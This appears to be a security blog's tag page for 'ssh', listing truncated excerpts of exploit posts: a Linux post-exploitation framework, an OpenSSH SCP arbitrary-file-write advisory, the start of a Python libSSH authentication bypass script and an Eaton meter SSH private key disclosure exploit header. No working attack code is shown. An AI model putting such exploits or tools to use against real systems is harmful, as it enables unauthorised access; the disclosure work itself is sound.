Tag: ssh
Utopia Linux Post Exploitation Framework
About Utopia Framework Utopia Framework is a Linux post-exploitation framework that exploits Linux SSH vulnerability to provide a shell-like connection. Utopia Framework can be used to easily master Linux SSH exploitation. Getting started Utopia installation […]
OpenSSH SCP Client – Write Arbitrary Files
Title: SSHtranger Things Author: Mark E. Haase mhaase@hyperiongray.com Homepage: https://www.hyperiongray.com Date: 2019-01-17 CVE: CVE-2019-6111, CVE-2019-6110 Advisory: https://sintonen.fi/advisories/scp-client-multiple-vulnerabilities.txt Tested on: Ubuntu 18.04.1 LTS, OpenSSH client 7.6p1 We have nicknamed this “SSHtranger Things” because the bug is […]
libSSH – Authentication Bypass
libSSH – Authentication Bypass [su_quote] #!/usr/bin/env python3 import paramiko import socket import argparse from sys import argv, exit parser = argparse.ArgumentParser(description=”libSSH Authentication Bypass”) parser.add_argument(‘–host’, help=’Host’) parser.add_argument(‘-p’, ‘–port’, help=’libSSH port’, default=22) parser.add_argument(‘-log’, ‘–logfile’, help=’Logfile to write […]
Eaton Xpert Meter 13.4.0.10 – SSH Private Key Disclosure
# Exploit Title: Eaton Xpert Meter 13.4.0.10 – SSH Private Key Disclosure # Date: 2018-07-16 # WebPage: https://CTRLu.net/ # Vendor Homepage: http://www.eaton.com/ # Vendor Advisory: http://www.eaton.com/content/dam/eaton/company/news-insights/cybersecurity/security-bulletins/PXM-Advisory.pdf # Software Link: http://www.eaton.com/Eaton/ProductsServices/Electrical/ProductsandServices/PowerQualityandMonitoring/PowerandEnergyMeters/PowerXpertMeter400060008000/index.htm#tabs-2 # Version: Firmware <= 12.x […]